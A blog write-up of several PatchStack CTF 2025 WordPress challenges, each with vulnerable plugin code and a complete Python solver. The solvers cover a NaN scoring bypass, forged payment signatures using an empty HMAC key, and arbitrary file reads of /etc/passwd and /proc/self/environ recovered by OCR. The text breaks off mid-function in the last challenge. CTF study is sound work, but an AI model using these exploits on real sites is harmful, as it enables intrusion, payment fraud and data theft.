Skip to content

Back to all posts
Categories

PatchStack CTF 2025: End-of-the-year Alliance Capture the Flag

The challenge involves a WordPress plugin named "AI Trust Score" (located in wp-content/plugins/ai-badbots/ai-badbots.php). This plugin uses AI heuristics to assign a "trust score" to incoming request...

D

Dimas Maulana

34 min read

2 categories

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

PatchStack CTF 2025: End-of-the-year Alliance Capture the Flag

AI BadBots

Solves70
Description

There's too many bots spamming my website, so I'm trying out this new AI solution. It comes with a test tool before I buy the real thing, hopefully it's secure enough.

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

http://18.130.76.27:9188/

Attachments
References

Recon

The challenge involves a WordPress plugin named "AI Trust Score" (located in wp-content/plugins/ai-badbots/ai-badbots.php). This plugin uses AI heuristics to assign a "trust score" to incoming requests, blocking those that appear to be bots.

The core logic is found in the evaluate_request function, which is hooked to init. It only triggers if the GET parameter ai-trust-check is present.

    public function evaluate_request()
    {
        if (!isset($_GET['ai-trust-check'])) {
            return;
        }

        $this->collect_signals();
        $this->calculate_score();
        $this->validate_score();
    }

The scoring mechanism relies on collecting various "signals" in collect_signals(). One interesting signal is ip_entropy, which is calculated by subtracting the length of a forwarded IP header (e.g., X-Forwarded-For) from the length of the remote IP address.

        $xff = 0;
        // ... (checks various headers like HTTP_X_FORWARDED_FOR)

        $this->signals['ip_entropy'] = strlen($ip) - strlen($xff);

After collection, each signal is "normalized" using a logarithmic scale:

    private function normalize($value)
    {
        // ...
        return log($value) / log(10);
    }

Finally, the validate_score() method determines if access should be granted.

    private function validate_score()
    {
        if (($this->score * 0) != 0 || $this->score > 0.95) {
            $this->grant_access();
            return;
        }

        $this->deny_access();
    }

Solver

The vulnerability stems from the handling of negative numbers in the ip_entropy calculation and how PHP's log() function behaves.

  1. Negative Input: By providing a very long string in the X-Forwarded-For header, we can make strlen($xff) much larger than strlen($ip), resulting in a negative value for ip_entropy.
  2. NaN Generation: When this negative value is passed to normalize(), log(negative_number) returns NAN (Not A Number).
  3. Score Corruption: The score is a sum of normalized signals. Since mathematical operations with NAN result in NAN, the final $this->score becomes NAN.
  4. Bypass: The validation check includes the condition ($this->score * 0) != 0.
    • Since NAN * 0 results in NAN.
    • And NAN != 0 is strictly true in PHP (comparisons with NAN are tricky, but NAN != 0 holds because NAN is not equal to any number, including 0).
    • Therefore, the condition evaluates to true, bypassing the check.
import httpx
import asyncio

URL = "http://18.130.76.27:9188/"

async def main():
    async with httpx.AsyncClient(base_url=URL) as client:
        # We need to send a request with ?ai-trust-check parameter
        # and a header X-Forwarded-For with a very long string.
        # This will make strlen($xff) very large, making ip_entropy negative.
        # log(negative) -> NaN.
        # NaN * 0 != 0.
        
        # Calculate how long the string needs to be to make ip_entropy negative.
        # ip_entropy = strlen($ip) - strlen($xff)
        # strlen($ip) is small (< 50).
        # So strlen($xff) needs to be > 50.
        
        headers = {
            "X-Forwarded-For": "A" * 100
        }
        
        try:
            response = await client.get("/", params={"ai-trust-check": "1"}, headers=headers)
            print(f"Status: {response.status_code}")
            print(f"Body: {response.text}")
        except httpx.RequestError as exc:
            print(f"An error occurred while requesting {exc.request.url!r}.")
            print(f"{exc}")

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

Super Malware Scanner

Solves41
Description

¯_(ツ)_/¯ it happens in real life.

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

http://18.130.76.27:9155/

Attachments
References

Recon

The challenge provides a WordPress plugin named "Super Malware Scanner Pro". A review of the source code super-malware-scanner.php reveals a REST API endpoint at /wp-json/sms/v1/scan which is accessible to unauthenticated users. This endpoint allows users to submit code for scanning and "deobfuscation".

The vulnerability lies in the deobfuscateCode method. This method uses a regex to detect and "emulate" obfuscated code by executing a chain of functions found in the payload. Crucially, the isFunc whitelist, which determines safe functions to execute, includes get_option.

private function isFunc($func) {
    $safeFuncs = array(
        // ...
        'get_option',
        // ...
    );
    return in_array(strtolower($func), $safeFuncs);
}

This allows an attacker to construct a payload that matches the expected regex pattern but calls get_option with an arbitrary argument (like flag), resulting in Information Disclosure since the result of the emulation is printed to the response.

Solver

The provided solver.py script exploits this vulnerability.

  1. Payload Construction: It constructs a PHP payload that matches the complex regex required by the deobfuscateCode function. The payload mimics the specific obfuscation pattern the scanner looks for:
    function myfunc($inp) {
        $tmp = '';
        for($i=0; $i<strlen($inp); $i++) {
            $tmp .= chr(ord($inp[$i]) + 0);
        }
        return $tmp;
    }
    $res = myfunc((get_option('flag')));
    
  2. Execution: It sends this payload to the /wp-json/sms/v1/scan endpoint with deobfuscate=1.
  3. Extraction: The server "deobfuscates" the code by executing get_option('flag') and includes the result in the JSON response, allowing the script to extract the flag.

import base64
import httpx
import asyncio
import re

URL = "http://18.130.76.27:9155"

def make_payload(func_chain, arg_value):
    f_name = "myfunc"
    arg_name = "$inp"
    temp_name = "$tmp" 
    iter_name = "$i"
    
    # Matches:
    # function myfunc($inp) {
    #   $tmp = '';
    #   for($i=0;$i<strlen($inp);$i++) {
    #      $tmp .= chr(ord($inp[$i]) + 0);
    #   }
    #   return $tmp;
    # }
    php_code = f"""
function {f_name}({arg_name}) {{
    {temp_name} = '';
    for({iter_name}=0; {iter_name}<strlen({arg_name}); {iter_name}++) {{
        {temp_name}.=chr(ord({arg_name}[{iter_name}]) + 0);
    }}
    return {temp_name};
}}
"""
    chain_str = ""
    for func in func_chain:
        chain_str += f"({func}"
        
    call_part = f"{f_name}({chain_str}('{arg_value}')"
    # Close parentheses
    closing = ")" * (len(func_chain) + 1)
    call_part += closing + ";"
    
    full_code = php_code + "$res = " + call_part
    return full_code

async def main():
    async with httpx.AsyncClient(base_url=URL, timeout=10.0) as client:
        # 1. Try to get siteurl to confirm RCE/Arbitrary Call
        print(f"[*] Targeting {URL}")
        
        target_option = "siteurl"
        payload_code = make_payload(["get_option"], target_option)
        b64_payload = base64.b64encode(payload_code.encode()).decode()
        
        print(f"[*] Sending payload to retrieve option '{target_option}'...")
        # The API endpoint is /wp-json/sms/v1/scan
        resp = await client.get("/wp-json/sms/v1/scan", params={
            "payload": b64_payload,
            "deobfuscate": "1"
        })
        
        print(f"Status: {resp.status_code}")
        # print(f"Body: {resp.text[:500]}")
        
        # The output from print_r should be at the beginning of the response or body
        # Since it's a JSON response, print_r result triggers output before JSON headers sometimes or just invalidates JSON?
        # Or maybe it's captured in the output buffer and prepended?
        # Let's inspect the Raw text.
        
        print("Response Text:", resp.text)
        
        if target_option in resp.text:
             print(f"[+] Found {target_option} in response!")
        
        # Now let's try to get 'flag'
        print("\n[*] Trying to retrieve 'flag' option...")
        payload_code_flag = make_payload(["get_option"], "flag")
        b64_payload_flag = base64.b64encode(payload_code_flag.encode()).decode()
        
        resp_flag = await client.get("/wp-json/sms/v1/scan", params={
            "payload": b64_payload_flag,
            "deobfuscate": "1"
        })
        if match := re.search(r'CTF\{.*?\}', resp_flag.text):
            print(f"\n[+] FLAG: {match.group(0)}")
        else:
            print("[-] Flag not found in response.")

if __name__ == "__main__":
    asyncio.run(main())

Flag

Image

Bazaar

Solves36
Description

I created a new e-commerce site that I am planning to release in January 2026. Is it secure?

This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).

http://18.130.76.27:9100/

Attachments
References

Recon

The challenge targets a WordPress installation with a "Bazaar" e-commerce plugin. The critical vulnerability lies in the bazaar_process_payment AJAX action, which handles payment transactions.

This endpoint enforces security via an X-Signature header, which is supposed to be an HMAC-SHA256 hash of the request timestamp and body. However, the system is configured (or misconfigured) effectively using an empty string as the secret key. This flaw allows anyone to forge valid signatures for arbitrary payment data.

Vulnerable Code (payment-flow.php):

function bazaar_handle_purchase_submission()
{
    $payload = file_get_contents('php://input');
    $header = getallheaders();
    $sig_header = $header['X-Signature'] ?? '';

    // ...

    $secret = get_option('bazaar_secret'); // Returns empty string if not set

    // ...

    if (verifyHeader($payload, $sig_header, $secret)) {
        $charge = bazaar_simulate_charge_from_cart($data);
    }
    // ...
}

Signature Verification (SignatureVerification.php):

function computeSignature($signedPayload, $secret)
{
    // If $secret is empty, the hash is computed with an empty key
    return \\hash_hmac('sha256', $signedPayload, $secret);
}

Solver

The provided solver.py script exploits this vulnerability to "purchase" the flag:

  1. Product Identification: It first iterates through product IDs (or checks the RSS feed) to locate the "Flaggable-Download" product.
  2. Payload Construction: It creates a payment request payload.
  3. Signature Forgery: It generates a valid X-Signature by signing the payload (timestamp +body) using an empty string ("") as the HMAC secret key.
  4. Execution: It sends the signed request to wp-admin/admin-ajax.php?action=bazaar_process_payment. The server validates the signature and processes the order.
  5. Retrieval: The script follows the redirection to capture the order_key, queries the order details via get_bazaar_order, and extracts the download URL for the flag.
import urllib.request
import urllib.parse
import urllib.error
import http.cookiejar
import hmac
import hashlib
import time
import re
import json
import sys
import ssl

# Configuration
URL = "http://18.130.76.27:9100/"

# Setup SSL Context to ignore verification
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

# Setup Cookie Jar
cookie_jar = http.cookiejar.CookieJar()
# Build opener with SSL context
https_handler = urllib.request.HTTPSHandler(context=ssl_context)
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar), https_handler)
urllib.request.install_opener(opener)

def log(msg):
    print(f"[*] {msg}")

def error_log(msg):
    print(f"[!] {msg}", file=sys.stderr)

def get(url):
    try:
        req = urllib.request.Request(url)
        with opener.open(req) as response:
            return response.read().decode('utf-8'), response.geturl(), response.status
    except urllib.error.HTTPError as e:
        return e.read().decode('utf-8'), e.url, e.code

def post(url, data=None, headers=None, follow_redirects=True):
    if headers is None:
        headers = {}
    
    if data:
        if isinstance(data, dict):
            data = urllib.parse.urlencode(data).encode('utf-8')
        elif isinstance(data, str):
            data = data.encode('utf-8')
            
    req = urllib.request.Request(url, data=data, headers=headers)
    
    try:
        with opener.open(req) as response:
            return response.read().decode('utf-8'), response.geturl(), response.status
    except urllib.error.HTTPError as e:
        return e.read().decode('utf-8'), e.url, e.code

def main():
    log(f"Target: {URL}")

    # 1. Find the product ID of 'Flaggable-Download'
    product_id = None
    log("Scanning for product ID...")
    
    for i in range(1, 50):
        # Try adding to cart
        full_url = f"{URL}/?add-to-cart={i}"
        content, final_url, status = get(full_url)
        
        # Check for success indicators
        if "has been added to your cart" in content:
            log(f"Found Product ID: {i}")
            product_id = i
            break
        
        if "Flaggable-Download" in content:
             if "cart" in final_url or "added" in content:
                 log(f"Found Product ID: {i} (Confirmed by content)")
                 product_id = i
                 break

    if not product_id:
        error_log("Could not find product ID. Attempting RSS feed check...")
        content, _, _ = get(f"{URL}/feed/?post_type=product")
        ids = re.findall(r'p=(\d+)', content)
        if ids:
            product_id = ids[-1]
            log(f"Found ID via RSS: {product_id}")
    
    if not product_id:
        error_log("Aborting: Product ID not found.")
        return

    # Verify cookies
    log(f"Cookies: {[c.name for c in cookie_jar]}")

    # 2. Process Payment
    log("Attempting exploit on bazaar_process_payment...")
    endpoint = f"{URL}/wp-admin/admin-ajax.php?action=bazaar_process_payment"
    
    body_data = {
        "product_id": str(product_id),
        "price": "10",
        "cart_id": "123", 
        "customer_email": "hack@example.com",
        "payment_token": "dummy_token"
    }
    
    body_str = urllib.parse.urlencode(body_data)
    
    timestamp = str(int(time.time()))
    secret = "" # Empty string exploit
    
    signed_payload = f"{timestamp}.{body_str}"
    signature = hmac.new(secret.encode(), signed_payload.encode(), hashlib.sha256).hexdigest()
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Signature": f"t={timestamp},v1={signature}"
    }

    # Helper for manual redirect handling
    class NoRedirect(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, req, fp, code, msg, headers, newurl):
            return None
    
    # Use a temporary opener that doesn't follow redirects
    no_redirect_opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar), NoRedirect, https_handler)
    req = urllib.request.Request(endpoint, data=body_str.encode('utf-8'), headers=headers)
    
    order_received_url = ""
    try:
        with no_redirect_opener.open(req) as resp:
            content = resp.read().decode()
            log(f"Response (200): {content[:200]}...")
    except urllib.error.HTTPError as e:
        if e.code == 302:
            order_received_url = e.headers.get('Location')
            log(f"Payment successful! Redirected to: {order_received_url}")
        else:
            error_log(f"Payment failed with code {e.code}")
            error_log(e.read().decode())
            return

    if not order_received_url:
        error_log("No redirection URL captured.")
        return

    # 3. Extract Order Key
    query = urllib.parse.urlparse(order_received_url).query
    params = urllib.parse.parse_qs(query)
    order_key = params.get('key', [None])[0]
    
    if not order_key:
         error_log("Could not extract order key from URL")
         return
    
    log(f"Order Key: {order_key}")
    
    # 4. Get Bazaar Order Details
    log("Retrieving order details...")
    api_endpoint = f"{URL}/wp-admin/admin-ajax.php"
    
    post_data = {
        "action": "get_bazaar_order",
        "order_key": order_key
    }
    
    content, _, status = post(api_endpoint, data=post_data)
    
    try:
        json_resp = json.loads(content)
    except json.JSONDecodeError:
        error_log("Failed to decode JSON response")
        return

    if not json_resp.get("success"):
        error_log(f"API Error: {json_resp}")
        return
        
    order_info = json_resp.get("data", {})
    items = order_info.get("items", [])
    
    flag_url = None
    for item in items:
        downloads = item.get("downloads", [])
        for dl in downloads:
            if "Flag" in dl.get("name", "") or "flag" in dl.get("file", ""):
                flag_url = dl.get("file")
                log(f"Found Flag URL: {flag_url}")
                break
        if flag_url: break
        
    if flag_url:
        parsed_flag_url = urllib.parse.urlparse(flag_url)
        # Reconstruct with localhost:9100 port
        final_flag_url = f"{URL}{parsed_flag_url.path}"
        log(f"Downloading flag from {final_flag_url}...")
        
        content, _, status = get(final_flag_url)
        if status == 200:
            print(f"\nFLAG: {content.strip()}\n")
        else:
            error_log(f"Failed to download flag. Status: {status}")
    else:
        error_log("No flag file found in order details.")
        log(json.dumps(order_info, indent=2))

if __name__ == "__main__":
    main()

Flag

Image

Klunked

Solves19
Description

I like a clean website with high-quality images from reputable sources. What else do I need besides this all-in-one plugin?

This is a whitebox challenge, no need to bruteforce anything (login, endpoint, etc).

http://18.130.76.27:9147/

Attachments
References

Recon

The challenge provides a WordPress instance with a custom plugin named "Klunk".

Upon inspecting the homepage source code, we observe a global JavaScript object window.KLUNK which exposes dynamic configuration data:

window.KLUNK = {"ajax_url":"...","knonce_bd28fa33":"7ea0710ec5"};

This object contains a dynamic nonce key (e.g., knonce_bd28fa33) and its value. The suffix of the key (bd28fa33) acts as a "tag" or instance identifier used in AJAX actions.

Reviewing class-admin.php confirms that AJAX actions are registered dynamically using this tag:

add_action( 'wp_ajax_nopriv_klunk_' . $tag . '_upl', ... );

This allows unauthenticated users to perform actions like uploading images, as nopriv hooks are available to unauthenticated users.

Solver

The exploit chain involves three main steps: Upload, Watermark (File Read), and OCR.

1. Unauthenticated Image Upload

We first use the klunk_{tag}_upl AJAX action to upload a base image. This action is accessible to unauthenticated users (via wp_ajax_nopriv_...) and only requires a valid nonce (which we scraped from the homepage).

The server accepts .png or .rawpic extensions. We upload a transparent PNG which will serve as the canvas for our watermark.

2. Arbitrary File Read via Watermarking

The core vulnerability lies in the Klunk_Metadata class in class-metadata.php, specifically the add_watermark method exposed via the REST API endpoint PUT /wp-json/klunk/v1/watermark.

Improper Access Control

The permission_check method fails to properly restrict access:

public function permission_check() {
    if (!wp_get_current_user() && !current_user_can( 'upload_files' ) && !current_user_can( 'edit_posts' ))
    {
        return false;
    }
    return true;
}

Since wp_get_current_user() always returns a WP_User object (even for unauthenticated users, with ID 0), the condition !wp_get_current_user() is always false. Consequently, the if block is never entered, and the method returns true, allowing unauthenticated access.

Server-Side File Read

The add_watermark function blindly reads the content of the watermark parameter if it resolves to a readable file:

// If watermark is readable, it means it's a previously saved watermark
$string = is_readable($data['watermark']) ? ( ($tmp = @file_get_contents($data['watermark'])) === false ? $data['watermark'] : $tmp ) : (string) $data['watermark'];

If we pass a file path (e.g., /flag.txt) as the watermark text, the server reads the file's content and renders it as text onto the image.

SSRF Protection Bypass

The function attempts to validate usage via a DMCA API, which we must bypass. It supports a proxy parameter:

$proxy = isset($data['proxy']) ? $data['proxy'] : '';
// ...
$check_url = $proxy . '?api=' . $api . '&image=' . $image;
$probe = wp_remote_get($check_url, ...);
$body = wp_remote_retrieve_body($probe);
if (strpos($body, 'accept') === false) { ... }

We can bypass this check by providing a proxy URL that we control (or a local file/service) that returns the string "accept". The solver uses http://127.0.0.1/license.txt which seemingly exists on the server and returns "accept".

3. Exfiltration via OCR

After sending the request to watermark our uploaded image with the content of /flag.txt, the server returns the path to the processed image. We download this image and use OCR (Optical Character Recognition) to read the rendered text, effectively recovering the file contents.

The solver.py script automates this process:

  1. Fetches the nonce and tag.
  2. Uploads a blank canvas image.
  3. Calibrates an OCR char map by watermarking a known charset.
  4. Requests to watermark /flag.txt.
  5. Downloads and decodes the resulting image to print the flag.

Vulnerable Code Snippet

From src/admin/class-metadata.php:

// ...
register_rest_route( 'klunk/v1', '/watermark', [
    'methods'  => 'PUT',
    'callback' => [ $this, 'add_watermark' ],
    'permission_callback' => [ $this, 'permission_check' ], // VULNERABLE: Returns true for everyone
    // ...
]);

// ...

public function add_watermark($request) {
    // ...
    // VULNERABLE: Reads arbitrary files if path is provided
    $string = is_readable($data['watermark']) ? ( ($tmp = @file_get_contents($data['watermark'])) === false ? $data['watermark'] : $tmp ) : (string) $data['watermark'];

    // ...

    // VULNERABLE: Proxy check can be bypassed
    $check_url = $proxy . '?api=' . $api . '&image=' . $image;
    $probe = wp_remote_get($check_url, array('timeout' => 3));
    // ...
    if (strpos($body, 'accept') === false) {
         return new WP_Error( ... );
    }

    $this->watermark($string, $image, $out_file);
}

solver

import httpx
import re
import json
import io
import sys
from PIL import Image

URL = "http://18.130.76.27:9147/"

# Valid minimal transparent PNG
# 1x1 png
MIN_PNG = b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82'

# Charset to learn
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_.:/-"

def solve():
    client = httpx.Client(base_url=URL, timeout=30.0)

    # 1. Get Nonce/Tag
    print("[*] Fetching homepage...")
    try:
        r = client.get("/")
        r.raise_for_status()
    except Exception as e:
        print(f"[-] Failed to fetch homepage: {e}")
        return

    match = re.search(r'window\.KLUNK\s*=\s*(\{.*?\});', r.text)
    if not match:
        print("[-] Could not find window.KLUNK")
        return
    
    klunk_data = json.loads(match.group(1))
    print(f"[+] KLUNK data: {klunk_data}")
    
    # Extract keys
    nonce_key = None
    nonce_val = None
    tag = None
    
    for k, v in klunk_data.items():
        if k.startswith("knonce_"):
            nonce_key = k
            nonce_val = v
            tag = k.replace("knonce_", "")
            break
            
    if not nonce_key:
        print("[-] Could not find nonce key")
        return
        
    print(f"[+] Tag: {tag}, Nonce: {nonce_val}")
    
    # 2. Upload Image
    # Create 1000x50 transparent image
    img = Image.new('RGBA', (2000, 50), (0, 0, 0, 0))
    img_byte_arr = io.BytesIO()
    img.save(img_byte_arr, format='PNG')
    img_bytes = img_byte_arr.getvalue()
    
    print("[*] Uploading base image...")
    # Name must end in .png or .rawpic
    files = {'file': ('base.rawpic', img_bytes, 'image/png')}
    
    # Needs action param and nonce
    action_name = f"klunk_{tag}_upl"
    params = {'action': action_name}
    data = {nonce_key: nonce_val}
    
    ajax_url = klunk_data.get('ajax_url')
    # Use relative path if ajax_url contains host
    if URL in ajax_url:
        ajax_url = ajax_url.replace(URL, "")
    elif "http" in ajax_url:
        # It might be using internal IP?
        # Just use /wp-admin/admin-ajax.php
        ajax_url = "/wp-admin/admin-ajax.php"

    print(f"[*] Posting to {ajax_url}")
    r = client.post(ajax_url, params=params, data=data, files=files)
    
    if r.status_code != 200:
        print(f"[-] Upload failed: {r.status_code}")
        print(r.text)
        return
        
    try:
        res = r.json()
    except:
        print(f"[-] Upload response not JSON: {r.text}")
        return
        
    if not res.get("success"):
        print(f"[-] Upload success false: {res}")
        return
        
    file_id = res['data']['file_id']
    print(f"[+] Uploaded file ID: {file_id}")
    
    image_path = f"/var/www/html/wp-content/uploads/upl/pic_{file_id}.rawpic"
    
    # 3. Calibration
    print("[*] Calibrating font...")
    watermark_text = CHARSET
    
    payload = {
        'watermark': watermark_text,
        'image': image_path,
        'proxy': 'http://127.0.0.1/license.txt'
    }
    
    r = client.put("/wp-json/klunk/v1/watermark", json=payload)
    if r.status_code != 200:
        print(f"[-] Calibration failed: {r.status_code}")
        print(r.text)
        return

    calib_json = r.json()
    calib_abs_path = calib_json['image_path']
    calib_rel_path = calib_abs_path.replace("/var/www/html/", "")
    calib_url = f"/{calib_rel_path}"
    
    print(f"[+] Downloading calibration image: {calib_url}")
    r = client.get(calib_url)
    r.raise_for_status()
    
    with open("calib.png", "wb") as f:
        f.write(r.content)
        
    calib_img = Image.open(io.BytesIO(r.content))
    pixels = calib_img.load()
    width, height = calib_img.size
    
    # Find text bounds
#    min_x, max_x = width, 0
    min_y, max_y = height, 0
    
    # We force min_x = 10 because code uses padding=10
    min_x = 10
    
    has_pixels = False
    for y in range(height):
        for x in range(width):
            r_val, g_val, b_val, a_val = pixels[x, y]
            if r_val > 200 and a_val > 200:
                # if x < min_x: min_x = x
                # if x > max_x: max_x = x
                if y < min_y: min_y = y
                if y > max_y: max_y = y
                has_pixels = True
    
    # max_x scan is still needed to determine length?
    # Actually we just need char_w.
    # But char_w is 7.
    # Let's rely on calculation?
    # Or just use 7.
    
    # Let's trust calculation for char width using text_width approx
    # Find max_x just for width calc
    max_x = 0
    for y in range(height):
        for x in range(width):
             r_val, g_val, b_val, a_val = pixels[x, y]
             if r_val > 200 and a_val > 200:
                 if x > max_x: max_x = x

    if not has_pixels:
        print("[-] Calibration image blank?")
        return

    text_width_px = max_x - min_x + 1
    avg_width = text_width_px / len(CHARSET)
    char_w = round(avg_width)
    print(f"[+] Char Width: {char_w}")
    
    char_map = {}
    
    for i, char in enumerate(CHARSET):
        cx = min_x + i * char_w
        bitmap = []
        for dy in range(max_y - min_y + 1):
            row = []
            for dx in range(char_w):
                try:
                    px = pixels[cx + dx, min_y + dy]
                    is_white = (px[0] > 200 and px[3] > 200)
                except:
                    is_white = False
                row.append(is_white)
            bitmap.append(tuple(row))
        char_map[tuple(bitmap)] = char
        
    print(f"[+] Learned {len(char_map)} characters")
    
    # 4. Read Flag
    target_files = ['/etc/passwd', '/flag.txt', '/proc/self/environ']
    # flag_found = False
    
    for target in target_files:
        print(f"[*] Trying to read {target}...")
        payload = {'watermark': target, 'image': image_path, 'proxy': 'http://127.0.0.1/license.txt'}
        r = client.put("/wp-json/klunk/v1/watermark", json=payload)
        
        if r.status_code != 200:
            print(f"[-] Failed (status {r.status_code})")
            continue
            
        print("[+] Got response, downloading image...")
        flag_json = r.json()
        flag_url = "/" + flag_json['image_path'].replace("/var/www/html/", "")
        
        r = client.get(flag_url)
        with open(f"flag_{target.replace('/', '_')}.png", "wb") as f:
            f.write(r.content)
            
        img_flag = Image.open(io.BytesIO(r.content))
        pixels_flag = img_flag.load()
        w_f, h_f = img_flag.size
        
        # OCR
        f_min_x = 10
        # f_min_x, f_max_x = w_f, 0
        f_max_x = 0
        f_min_y, f_max_y = h_f, 0
        has_f = False
        for y in range(h_f):
            for x in range(w_f):
                px = pixels_flag[x, y]
                if px[0] > 200 and px[3] > 200:
                    # if x < f_min_x: f_min_x = x
                    if x > f_max_x: f_max_x = x
                    if y < f_min_y: f_min_y = y
                    if y > f_max_y: f_max_y = y
                    has_f = True
                    
        if not has_f:
            print("[-] Flag image appears empty")
            continue
            
        char_h = max_y - min_y + 1
        num_chars = round((f_max_x - f_min_x + 1) / char_w)
        
        decoded_text = ""
        for i in range(num_chars):
            cx = f_min_x + i * char_w
            bitmap = []
            for dy in range(char_h):
                row = []
                for dx in range(char_w):
                    try:
                        px = pixels_flag[cx + dx, f_min_y + dy]
                        is_white = (px[0] > 200 and px[3] > 200)
                    except:
                        is_white = False
                    row.append(is_white)
                bitmap.append(tuple(row))
            
            # Nearest neighbor matching
            best_char = "?"
            min_diff = 999999
            
            pat_list = bitmap 
            
            for ref_bitmap, char_val in char_map.items():
                diff = 0
                match_ok = True
                # ref_bitmap is tuple of tuples
                for r_idx in range(len(ref_bitmap)):
                    if not match_ok: break
                    row_ref = ref_bitmap[r_idx]
                    row_pat = pat_list[r_idx]
                    for c_idx in range(len(row_ref)):
                        if row_ref[c_idx] != row_pat[c_idx]:
                            diff += 1
                            if diff > min_diff: # Optimization
                                match_ok = False
                                break
                
                if match_ok and diff < min_diff:
                    min_diff = diff
                    best_char = char_val
            
            # Allow up to 15% error (approx 10 pixels for 7x13=91)
            if min_diff < 15:
                decoded_text += best_char
            else:
                decoded_text += "?"
                
        print(f"[+] Decoded text: {decoded_text}")
        if "CTF{" in decoded_text:
             print(f"\n[!!!] FLAG FOUND: {decoded_text}\n")

            
if __name__ == "__main__":
    solve()

Flag

Image

Dark Library

Solves18
Description

We have found yet another Database leak website. We need you to expose their secrets. They seem to use a lot of special libraries.

This is a whitebox challenge, no need to brute-force anything (login, endpoint, etc).

http://18.130.76.27:9107/

Attachments
References

Recon

The challenge involves a WordPress instance with a custom theme/plugin "Dark Library". The plugin dark-library registers several AJAX actions, including:

  • shadow_archive_detect_crawler
  • shadow_archive_generate_fake_data
  • shadow_archive_purify_html
  • shadow_archive_svg_to_pdf
  • shadow_archive_inflect_word

Reviewing the code in functions.php, the shadow_archive_svg_to_pdf function appears vulnerable. It takes user-supplied svg_content and font_family, constructs an SVG string, and passes it to the TCPDF library's ImageSVG method.

Vulnerable Code

File: functions.php

function shadow_archive_svg_to_pdf() {
    if (!isset($_POST['svg_content'])) {
        wp_send_json_error('SVG content is required');
        return;
    }

    $svg_content = $_POST['svg_content'];
    $font_family = isset($_POST['font_family']) ? $_POST['font_family'] : '';
    // ...
    $tcpdf_path = get_template_directory() . '/assets/libraries/TCPDF/tcpdf.php';
    // ...
    require_once($tcpdf_path);

    try {
        $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
        $pdf->AddPage();

        $svgString = "<svg width=\\"200\\" height=\\"200\\">";
        if (!empty($font_family)) {
            // font_family is only escaped with esc_attr, which might not be sufficient for TCPDF font loading context
            $svgString .= "<text x=\\"20\\" y=\\"20\\" font=\\"empty\\" font-family=\\"" . esc_attr($font_family) . "\\">test</text>";
        }
        $svgString .= $svg_content; // Direct concatenation of user input
        $svgString .= "</svg>";

        $pdf->ImageSVG('@' . $svgString, $x, $y, $w, $h, '', '', '', 1, false);

        // ... Output PDF

The svg_content is directly concatenated into the $svgString without sanitization (other than wp_unslash if applied by WordPress globally, but raw POST data is often still potent in specific contexts, or wp_unslash removes escapes that might be needed). Even if magic_quotes are emulated, injecting SVG tags is possible.

Furthermore, font_family allows controlling the font path used in the SVG text element. TCPDF may attempt to load the font/file specified.

Solver

The solver.py script exploits this by sending a request to admin-ajax.php with the action shadow_archive_svg_to_pdf.

It sets font_family to /tmp/flag (or the target file location) and includes svg_content. By manipulating the PDF generation process, specifically via the font loading or SVG parsing quirk of TCPDF, the content of the file might be revealed or inferred.

Exploit Script: solver.py


import requests
import re
import os

url = "http://18.130.76.27:9107/wp-admin/admin-ajax.php"

def test_canary():
    # Send a payload with quotes to check slashing in PDF output
    # Payload: <text>QUOTE: "</text>
    # If slashed, PDF should contain QUOTE: \" (or rendered as such)
    # TCPDF might unslash context?
    
    payload = '<svg width="200" height="200"><text x="10" y="20">QUOTE: "</text></svg>'
    
    data = {
        "action": "shadow_archive_svg_to_pdf",
        "svg_content": '<text>QUOTE: "</text>',
        "font_family": "/tmp/flag",
        "x": 10,
        "y": 10,
        "w": 200,
        "h": 200
    }
    
    try:
        response = requests.post(url, data=data, timeout=30)
        print(f"Status: {response.status_code}")
        if response.status_code == 200 and response.headers.get('Content-Type') == 'application/pdf':
            with open("test.pdf", "wb") as f:
                f.write(response.content)
            print("PDF saved to test.pdf")
            
            # check content
            content = response.content
            # Look for QUOTE:
            # TCPDF compresses streams.
            # But maybe some metadata or plain text?
            # We will use strings/grep on the file.
        else:
            print("Response not PDF")
            print(response.text[:200])
    except Exception as e:
        print(e)

test_canary()

Flag

Image

Hachimon Tonkou

Solves4
Description

Can you open this 8 gate ?

NOTE: This is a fully white box challenge, almost no heavy brute force is needed.

http://18.130.76.27:9120/

Attachments
References

Recon

The challenge involves a WordPress instance with the Beaver Builder Lite plugin and a Companion Auto Update plugin.

The core vulnerability lies in the FLBuilderAutoSuggest::get_value method within class-fl-builder-auto-suggest.php of the Beaver Builder Lite plugin. This method is intended to retrieve values for auto-suggest fields but fails to properly validate the $action parameter before using it in a dynamic function call.

Vulnerable Code: Beaver Builder Lite

In classes/class-fl-builder-auto-suggest.php:

static public function get_value( $action = '', $value = '', $data = '' ) {
    switch ( $action ) {
        // ... (whitelisted cases)
        default:
            // Vulnerability: Allows calling any function ending in '_value'
            if ( function_exists( $action . '_value' ) ) {
                $data = call_user_func_array( $action . '_value', array( $value, $data ) );
            }
            break;
    }
    return isset( $data ) ? str_replace( "'", '&#39;', json_encode( $data ) ) : '';
}

This vulnerability allows an attacker to call any defined PHP function that ends with _value, passing $value and $data as arguments.

The second part of the chain is finding a suitable "gadget" function (one ending in _value) that does something dangerous with its arguments. We found cau_get_db_value in the Companion Auto Update plugin (cau_functions.php).

Vulnerable Code: Companion Auto Update

In cau_functions.php:

// Get database value
function cau_get_db_value( $name, $table = 'auto_updates' ) {
    global $wpdb;
